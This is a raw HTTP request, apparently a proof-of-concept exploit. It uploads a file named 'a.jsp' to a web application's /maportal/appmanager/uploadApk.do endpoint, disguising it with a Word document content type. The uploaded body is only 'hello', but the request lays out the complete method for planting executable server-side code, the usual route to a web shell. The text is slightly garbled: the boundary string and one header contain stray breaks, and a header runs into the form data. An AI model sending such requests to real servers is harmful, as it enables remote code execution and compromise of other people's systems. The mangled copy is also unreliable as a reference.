```
POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1 
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO 3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server 
Connection: close ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3 
Content-Disposition:form-data;name="downloadpath"; filename="a.jsp" 
Content-Type: application/msword

hello 
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--
```